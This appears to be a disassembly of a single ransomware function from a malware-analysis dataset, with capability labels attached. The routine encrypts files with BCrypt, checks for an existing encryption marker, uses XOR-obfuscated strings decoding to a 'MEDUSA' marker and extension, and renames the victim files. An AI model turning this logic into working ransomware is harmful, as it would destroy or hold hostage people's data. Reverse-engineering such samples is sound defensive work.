Function at 0x40f9d0
Capabilities:
Encrypt or decrypt data via bcrypt
Get file attributes
Move file
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x472e91
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x24e0
call fcn.004385f0
mov eax, dword [0x493018]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, edx
mov dword [ebp - 0x249c], esi
mov dword [ebp - 0x24e4], ecx
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 1
je 0x40fa31
xor eax, 1
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x487948
push esi
call fcn.004566c0
mov esi, eax
add esp, 8
mov dword [ebp - 0x24c8], esi
test esi, esi
jne 0x40fa77
push str.File_open_error_n
call fcn.004022b0
add esp, 4
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00437386
mov esp, ebp
pop ebp
ret
push 2
push 0
push 0
push esi
call fcn.004560e7
push esi
call fcn.00452811
mov ecx, edx
add esp, 0x14
mov edi, eax
mov dword [ebp - 0x24b8], ecx
or eax, ecx
jne 0x40faaf
push str.File_Size_is_Zero._n
call fcn.004022b0
push esi
call fcn.00452aa5
add esp, 8
jmp 0x40fa58
test ecx, ecx
jl 0x40fd92
jg 0x40fac5
cmp edi, 0x158
jb 0x40fd92
push 2
push 0xffffffffffffffff
push 0xfffffea8
push esi
call fcn.004560e7
push 0x64
lea eax, [ebp - 0x98]
push 0
push eax
call fcn.0044ede0
mov ecx, dword fs:[0x2c]
add esp, 0x1c
mov eax, dword [0x4a0838]
mov dword [ebp - 0x24a8], 0x7b6a6b63
mov word [ebp - 0x24a4], 0x6f7d
mov ecx, dword [ecx]
mov byte [ebp - 0x24ad], 0x2e
mov dword [ebp - 0x2498], ecx
cmp eax, dword [ecx + 4]
jle 0x40fb6d
push 0x4a0838
call fcn.0043751a
add esp, 4
cmp dword [0x4a0838], 0xffffffff
jne 0x40fb6d
mov eax, dword [ebp - 0x24a8]
mov dword [0x49e3cc], eax
mov ax, word [ebp - 0x24a4]
mov word [0x49e3d0], ax
mov al, byte [ebp - 0x24ad]
push 0x478300
mov byte [0x49e3d2], al
call fcn.00437941
push 0x4a0838
call fcn.004374d0
add esp, 8
mov al, byte [0x49e3d2]
test al, al
je 0x40fba7
xor byte [0x49e3cc], 0x2e
xor byte [0x49e3cd], 0x2e
xor byte [0x49e3ce], 0x2e
xor byte [0x49e3cf], 0x2e
xor byte [0x49e3d0], 0x2e
xor byte [0x49e3d1], 0x2e
xor al, 0x2e
mov byte [0x49e3d2], al
mov ecx, 0x49e3cc
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fbb0
push esi
sub ecx, edx
lea eax, [ebp - 0x98]
push ecx
push 1
push eax
call fcn.00456a95
mov edx, dword [ebp - 0x2498]
add esp, 0x10
mov eax, dword [0x4a06c8]
mov dword [ebp - 0x24a8], 0x7b6a6b63
mov word [ebp - 0x24a4], 0x6f7d
mov byte [ebp - 0x24ad], 0x2e
cmp eax, dword [edx + 4]
jle 0x40fc4f
push 0x4a06c8
call fcn.0043751a
add esp, 4
cmp dword [0x4a06c8], 0xffffffff
jne 0x40fc49
mov eax, dword [ebp - 0x24a8]
mov dword [0x49f524], eax
mov ax, word [ebp - 0x24a4]
mov word [0x49f528], ax
mov al, byte [ebp - 0x24ad]
push 0x4782c0
mov byte [0x49f52a], al
call fcn.00437941
push 0x4a06c8
call fcn.004374d0
add esp, 8
mov edx, dword [ebp - 0x2498]
mov al, byte [0x49f52a]
test al, al
je 0x40fc89
xor byte [0x49f524], 0x2e
xor byte [0x49f525], 0x2e
xor byte [0x49f526], 0x2e
xor byte [0x49f527], 0x2e
xor byte [0x49f528], 0x2e
xor byte [0x49f529], 0x2e
xor al, 0x2e
mov byte [0x49f52a], al
mov ecx, 0x49f524
lea eax, [ecx + 1]
mov dword [ebp - 0x24bc], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fc97
sub ecx, dword [ebp - 0x24bc]
mov eax, dword [0x49f04c]
mov dword [ebp - 0x24b4], ecx
mov dword [ebp - 0x24a8], 0x7b6a6b63
mov word [ebp - 0x24a4], 0x6f7d
mov byte [ebp - 0x24ad], 0x2e
cmp eax, dword [edx + 4]
jle 0x40fd27
push 0x49f04c
call fcn.0043751a
add esp, 4
cmp dword [0x49f04c], 0xffffffff
jne 0x40fd21
mov eax, dword [ebp - 0x24a8]
mov dword [0x49eb2c], eax
mov ax, word [ebp - 0x24a4]
mov word [0x49eb30], ax
mov al, byte [ebp - 0x24ad]
push 0x4782e0
mov byte [0x49eb32], al
call fcn.00437941
push 0x49f04c
call fcn.004374d0
add esp, 8
mov ecx, dword [ebp - 0x24b4]
mov al, byte [0x49eb32]
test al, al
je 0x40fd61
xor byte [0x49eb2c], 0x2e
xor byte [0x49eb2d], 0x2e
xor byte [0x49eb2e], 0x2e
xor byte [0x49eb2f], 0x2e
xor byte [0x49eb30], 0x2e
xor byte [0x49eb31], 0x2e
xor al, 0x2e
mov byte [0x49eb32], al
push ecx
lea eax, [ebp - 0x98]
push 0x49eb2c
push eax
call fcn.00456310
add esp, 0xc
test eax, eax
jne 0x40fd92
push str.File_is_already_encrypted._n
call fcn.004022b0
push esi
call fcn.00452aa5
add esp, 8
jmp 0x40fa58
push 0x158
lea eax, [ebp - 0x1f0]
push 0
push eax
call fcn.0044ede0
mov eax, dword fs:[0x2c]
add esp, 0xc
mov dword [ebp - 0x24a8], 0x7b6a6b63
mov word [ebp - 0x24a4], 0x6f7d
mov byte [ebp - 0x24ad], 0x2e
mov ecx, dword [eax]
mov eax, dword [0x4a04dc]
cmp eax, dword [ecx + 4]
jle 0x40fe27
push 0x4a04dc
call fcn.0043751a
add esp, 4
cmp dword [0x4a04dc], 0xffffffff
jne 0x40fe27
mov eax, dword [ebp - 0x24a8]
mov dword [0x49f100], eax
mov ax, word [ebp - 0x24a4]
mov word [0x49f104], ax
mov al, byte [ebp - 0x24ad]
push 0x4782a0
mov byte [0x49f106], al
call fcn.00437941
push 0x4a04dc
call fcn.004374d0
add esp, 8
mov al, byte [0x49f106]
test al, al
je 0x40fe61
xor byte [0x49f100], 0x2e
xor byte [0x49f101], 0x2e
xor byte [0x49f102], 0x2e
xor byte [0x49f103], 0x2e
xor byte [0x49f104], 0x2e
xor byte [0x49f105], 0x2e
xor al, 0x2e
mov byte [0x49f106], al
xor ecx, ecx
nop dword [eax]
nop word [eax + eax]
mov al, byte [ecx + 0x49f100]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x1f1], al
test al, al
jne 0x40fe70
mov eax, dword [ebp - 0x24b8]
xorps xmm0, xmm0
inc dword [0x4990f4]
push 0
mov dword [ebp - 0x1e8], edi
mov dword [ebp - 0x1e4], eax
movups xmmword [ebp - 0x34], xmm0
movups xmmword [ebp - 0x24], xmm0
call fcn.0045675a
add eax, dword [0x4990f4]
push eax
mov dword [ebp - 0x24a4], edx
call fcn.0045285e
add esp, 8
xor esi, esi
call fcn.0045283d
and eax, 0x800000ff
jns 0x40fed8
dec eax
or eax, 0xffffff00
inc eax
mov byte [ebp + esi - 0x34], al
inc esi
cmp esi, 0x20
jl 0x40fec5
mov eax, dword [ebp - 0x24e4]
mov ecx, dword [0x4970ec]
lea esi, [eax + eax*4]
shl esi, 3
lea eax, [ebp - 0x34]
add ecx, esi
mov dword [ebp - 0x24ec], esi
push ecx
push eax
call fcn.00401610
mov eax, dword [0x4970ec]
lea ecx, [ebp - 0x2498]
push 4
push ecx
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x24ac]
mov dword [ebp - 0x24ac], str.SHA1
push ecx
add eax, esi
mov dword [ebp - 0x24a8], 0
push 0x20
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x24bc], eax
push ecx
push dword [eax + 0x20]
mov dword [ebp - 0x24a4], 0
mov dword [ebp - 0x2498], 0
call dword [sym.imp.bcrypt.dll_BCryptEncrypt]
mov esi, dword [ebp - 0x24c8]
test eax, eax
jne 0x40ffa2
push 4
lea eax, [ebp - 0x2498]
push eax
push dword [ebp - 0x2498]
lea eax, [ebp - 0x1d8]
push eax
push 0
push 0
lea eax, [ebp - 0x24ac]
push eax
push 0x20
lea eax, [ebp - 0x34]
push eax
mov eax, dword [ebp - 0x24bc]
push dword [eax + 0x20]
call dword [sym.imp.bcrypt.dll_BCryptEncrypt]
cmp dword [0x4939ec], 0x10
mov eax, 0x4939d8
push 0x1000
cmovae eax, dword [0x4939d8]
push 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xd8], xmm0
movups xmm0, xmmword [eax + 0x10]
movups xmmword [ebp - 0xc8], xmm0
movups xmm0, xmmword [eax + 0x20]
movups xmmword [ebp - 0xb8], xmm0
movups xmm0, xmmword [eax + 0x30]
lea eax, [ebp - 0x1494]
push eax
movups xmmword [ebp - 0xa8], xmm0
call fcn.0044ede0
push 0x1000
lea eax, [ebp - 0x2494]
push 0
push eax
call fcn.0044ede0
push 0
push 0
push 0
push esi
call fcn.004560e7
mov ecx, dword [ebp - 0x24b8]
add esp, 0x28
test ecx, ecx
jg 0x41008a
jl 0x410029
cmp edi, 0x2000
jae 0x410041
mov edx, 1
xor eax, eax
mov dword [ebp - 0x24c0], edx
mov dword [ebp - 0x2498], eax
jmp 0x4100ec
test ecx, ecx
jg 0x41008a
jl 0x41004f
cmp edi, 0x100000
jae 0x410067
mov edx, 4
xor eax, eax
mov dword [ebp - 0x24c0], edx
mov dword [ebp - 0x2498], eax
jmp 0x4100ec
test ecx, ecx
jg 0x41008a
jl 0x410075
cmp edi, 0x1400000
jae 0x41008a
mov edx, 0x200
xor eax, eax
mov dword [ebp - 0x24c0], edx
mov dword [ebp - 0x2498], eax
jmp 0x4100ec
push 0
push 0x12c000
push ecx
push edi
call fcn.00472590
cdq
mov dword [ebp - 0x24c0], eax
mov eax, edx
mov dword [ebp - 0x2498], eax
test eax, eax
jg 0x4100bf
jl 0x4100b8
mov edx, dword [ebp - 0x24c0]
cmp edx, 2
jae 0x4100c5
mov edx, 2
jmp 0x4100d8
mov edx, dword [ebp - 0x24c0]
test eax, eax
jl 0x4100e6
jg 0x4100d3
cmp edx, 0x12c00
jbe 0x4100e6
mov edx, 0x12c00
xor eax, eax
mov dword [ebp - 0x24c0], edx
mov dword [ebp - 0x2498], eax
mov ecx, dword [ebp - 0x24b8]
mov dword [ebp - 0x1e0], edx
mov dword [ebp - 0x1dc], eax
test ecx, ecx
jl 0x410403
jg 0x41010a
test edi, edi
je 0x410403
push 0x1000
lea eax, [ebp - 0x1494]
push 0
push eax
call fcn.0044ede0
push esi
push 0x1000
lea eax, [ebp - 0x1494]
push 1
push eax
call fcn.00456a95
add esp, 0x1c
mov dword [ebp - 0x24b4], eax
test eax, eax
js 0x410626
cmp eax, 0x1000
je 0x41015a
push esi
call fcn.00452870
add esp, 4
test eax, eax
jne 0x410626
push 0x1000
lea eax, [ebp - 0x2494]
push 0
push eax
call fcn.0044ede0
mov eax, dword [ebp - 0x24b4]
lea ecx, [ebp - 0x2494]
add esp, 0xc
cmp eax, 0x1000
setl byte [ebp - 0x24e8]
push ecx
push dword [ebp - 0x24e8]
mov ecx, dword [ebp - 0x24ec]
add ecx, dword [0x4970ec]
push eax
lea eax, [ebp - 0x1494]
push eax
call fcn.00401870
mov ecx, eax
mov dword [ebp - 0x24bc], ecx
cmp ecx, 0xffffffff
je 0x41061b
mov eax, dword [ebp - 0x24b4]
cmp eax, 0x1000
jne 0x4101ce
cmp ecx, eax
jne 0x41061b
neg eax
push 1
cdq
push edx
push eax
push esi
call fcn.004560e7
push esi
push dword [ebp - 0x24bc]
lea eax, [ebp - 0x2494]
push 1
push eax
call fcn.004565a7
mov eax, dword [ebp - 0x24b4]
add esp, 0x20
mov ecx, dword [ebp - 0x24b8]
cdq
sub edi, eax
sbb ecx, edx
mov edx, dword [ebp - 0x24c0]
mov dword [ebp - 0x24b8], ecx
cmp edx, 1
jne 0x410222
cmp dword [ebp - 0x2498], 0
je 0x4103f1
mov eax, edx
mov esi, ecx
mov edx, dword [ebp - 0x2498]
shld edx, eax, 0xc
mov dword [ebp - 0x24b4], edx
mov edx, edi
shl eax, 0xc
sub edx, eax
sbb esi, dword [ebp - 0x24b4]
add edx, 0x1000
mov dword [ebp - 0x24bc], edx
adc esi, 0
mov dword [ebp - 0x24c4], esi
mov esi, dword [ebp - 0x24c8]
js 0x410298
jg 0x410266
test edx, edx
je 0x410298
mov ecx, dword [ebp - 0x24b4]
sub eax, 0x1000
push 1
sbb ecx, 0
push ecx
push eax
push esi
call fcn.004560e7
mov ecx, dword [ebp - 0x24c4]
add esp, 0x10
mov edi, dword [ebp - 0x24bc]
mov dword [ebp - 0x24b8], ecx
jmp 0x4100f8
test edi, edi
jle 0x4103f1
mov eax, edi
mov esi, 0x1000
cdq
idiv esi
test edx, edx
cmovne esi, edx
mov dword [ebp - 0x24bc], esi
lea esi, [eax - 1]
cmovne esi, eax
mov dword [ebp - 0x24c4], esi
test esi, esi
mov esi, dword [ebp - 0x24c8]
jle 0x4102ef
mov eax, dword [ebp - 0x24c4]
mov edx, 0x1000
imul edx
push 1
push edx
sub edi, eax
push eax
sbb ecx, edx
push esi
mov dword [ebp - 0x24b8], ecx
call fcn.004560e7
add esp, 0x10
push 0x1000
lea eax, [ebp - 0x1494]
push 0
push eax
call fcn.0044ede0
push esi
push dword [ebp - 0x24bc]
lea eax, [ebp - 0x1494]
push 1
push eax
call fcn.00456a95
add esp, 0x1c
mov dword [ebp - 0x24b4], eax
test eax, eax
js 0x410626
push esi
call fcn.00452870
add esp, 4
test eax, eax
jne 0x410626
push 0x1000
push eax
lea eax, [ebp - 0x2494]
push eax
call fcn.0044ede0
add esp, 0xc
lea eax, [ebp - 0x2494]
cmp dword [ebp - 0x24bc], 0x1000
setl byte [ebp - 0x24a4]
push eax
push dword [ebp - 0x24a4]
lea eax, [ebp - 0x1494]
push dword [ebp - 0x24b4]
push eax
mov eax, dword [ebp - 0x24e4]
lea ecx, [eax + eax*4]
mov eax, dword [0x4970ec]
lea ecx, [eax + ecx*8]
call fcn.00401870
mov ecx, eax
mov dword [ebp - 0x24c4], ecx
cmp ecx, 0xffffffff
je 0x41061b
mov eax, dword [ebp - 0x24b4]
cmp eax, 0x1000
jne 0x4103b5
cmp ecx, eax
jne 0x41061b
neg eax
push 1
cdq
push edx
push eax
push esi
call fcn.004560e7
push esi
push dword [ebp - 0x24c4]
lea eax, [ebp - 0x2494]
push 1
push eax
call fcn.004565a7
mov eax, dword [ebp - 0x24b4]
add esp, 0x20
mov ecx, dword [ebp - 0x24b8]
cdq
sub edi, eax
sbb ecx, edx
mov dword [ebp - 0x24b8], ecx
test ecx, ecx
jl 0x410403
jg 0x41010a
test edi, edi
jne 0x4100f8
push esi
push 1
lea eax, [ebp - 0x1f0]
push 0x158
push eax
call fcn.004565a7
push esi
call fcn.00452aa5
mov dword [ebp - 4], 2
add esp, 0x14
mov eax, dword fs:[0x2c]
mov dword [ebp - 0x24a8], 0x6a6b6300
mov dword [ebp - 0x24a4], 0x2e6f7d7b
mov esi, dword [eax]
mov eax, dword [0x49e4c8]
cmp eax, dword [esi + 4]
jle 0x410493
push 0x49e4c8
call fcn.0043751a
add esp, 4
cmp dword [0x49e4c8], 0xffffffff
jne 0x410493
mov eax, dword [ebp - 0x24a8]
mov dword [0x4a0554], eax
mov eax, dword [ebp - 0x24a4]
push 0x478290
mov dword [0x4a0558], eax
call fcn.00437941
push 0x49e4c8
call fcn.004374d0
add esp, 8
mov al, byte [0x4a055b]
test al, al
je 0x4104d4
xor byte [0x4a0554], 0x2e
xor byte [0x4a0555], 0x2e
xor byte [0x4a0556], 0x2e
xor byte [0x4a0557], 0x2e
xor byte [0x4a0558], 0x2e
xor byte [0x4a0559], 0x2e
xor byte [0x4a055a], 0x2e
xor al, 0x2e
mov byte [0x4a055b], al
mov ecx, 0x4a0554
mov dword [ebp - 0x24d0], 0
mov dword [ebp - 0x24cc], 0xf
mov byte [ebp - 0x24e0], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4104f7
sub ecx, edx
push ecx
push 0x4a0554
lea ecx, [ebp - 0x24e0]
call fcn.00401f40
push 0x50
lea eax, [ebp - 0x84]
mov byte [ebp - 4], 3
push 0
push eax
call fcn.0044ede0
add esp, 0xc
lea ecx, [ebp - 0x84]
call fcn.00417320
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x24e0]
cmp dword [ebp - 0x24cc], 0x10
mov eax, dword [ebp - 0x24d0]
cmovae ecx, dword [ebp - 0x24e0]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x84]
call fcn.00419880
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 3
call fcn.00417260
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
mov edi, dword [ebp - 0x249c]
cmovae eax, dword [ebp - 0x2c]
push eax
push edi
call fcn.0044e450
mov edx, dword [ebp - 0x18]
add esp, 8
test eax, eax
setne byte [ebp - 0x24ad]
cmp edx, 8
jb 0x4105d1
mov ecx, dword [ebp - 0x2c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4105c7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410897
push edx
push ecx
call fcn.004373c7
add esp, 8
xor eax, eax
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x24cc]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
cmp edx, 0x10
jb 0x410648
mov ecx, dword [ebp - 0x24e0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41063e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410897
jmp 0x41063e
push esi
call fcn.00452aa5
jmp 0x40fa55
push str.Read_File_Error
call fcn.004022b0
push esi
call fcn.00452aa5
add esp, 8
jmp 0x40fa58
push edx
push ecx
call fcn.004373c7
add esp, 8
cmp byte [ebp - 0x24ad], 0
je 0x410665
push str.File_already_have_locker_Extension._n
call fcn.004022b0
add esp, 4
xor eax, eax
jmp 0x40fa5b
push 0x3fc
lea eax, [ebp - 0x494]
push 0
push eax
call fcn.0044ede0
mov eax, dword [0x4a07a4]
add esp, 0xc
mov dword [ebp - 0x24a0], 0x6a6b6300
mov dword [ebp - 0x249c], 0x2e6f7d7b
cmp eax, dword [esi + 4]
jle 0x4106df
push 0x4a07a4
call fcn.0043751a
add esp, 4
cmp dword [0x4a07a4], 0xffffffff
jne 0x4106df
mov eax, dword [ebp - 0x24a0]
mov dword [0x49f2e4], eax
mov eax, dword [ebp - 0x249c]
push 0x478280
mov dword [0x49f2e8], eax
call fcn.00437941
push 0x4a07a4
call fcn.004374d0
add esp, 8
mov al, byte [0x49f2eb]
test al, al
je 0x410720
xor byte [0x49f2e4], 0x2e
xor byte [0x49f2e5], 0x2e
xor byte [0x49f2e6], 0x2e
xor byte [0x49f2e7], 0x2e
xor byte [0x49f2e8], 0x2e
xor byte [0x49f2e9], 0x2e
xor byte [0x49f2ea], 0x2e
xor al, 0x2e
mov byte [0x49f2eb], al
mov ecx, 0x49f2e4
mov dword [ebp - 0x24d0], 0
mov dword [ebp - 0x24cc], 0xf
mov byte [ebp - 0x24e0], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410743
sub ecx, edx
push ecx
push 0x49f2e4
lea ecx, [ebp - 0x24e0]
call fcn.00401f40
push 0x50
lea eax, [ebp - 0x84]
mov byte [ebp - 4], 5
push 0
push eax
call fcn.0044ede0
add esp, 0xc
lea ecx, [ebp - 0x84]
call fcn.00417320
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x24e0]
cmp dword [ebp - 0x24cc], 0x10
mov eax, dword [ebp - 0x24d0]
cmovae ecx, dword [ebp - 0x24e0]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x84]
call fcn.00419880
lea ecx, [ebp - 0x84]
call fcn.00417260
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
cmovae eax, dword [ebp - 0x2c]
push eax
push edi
lea eax, [ebp - 0x494]
push 0x4879e0
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov edx, dword [ebp - 0x18]
add esp, 0x10
cmp edx, 8
jb 0x410817
mov ecx, dword [ebp - 0x2c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41080d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41089c
push edx
push ecx
call fcn.004373c7
add esp, 8
mov edx, dword [ebp - 0x24cc]
xor eax, eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
cmp edx, 0x10
jb 0x410861
mov ecx, dword [ebp - 0x24e0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x410857
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41089c
push edx
push ecx
call fcn.004373c7
add esp, 8
lea eax, [ebp - 0x494]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
xor eax, eax
jmp 0x40fa5b
call fcn.0045214a
call fcn.0045214a
int3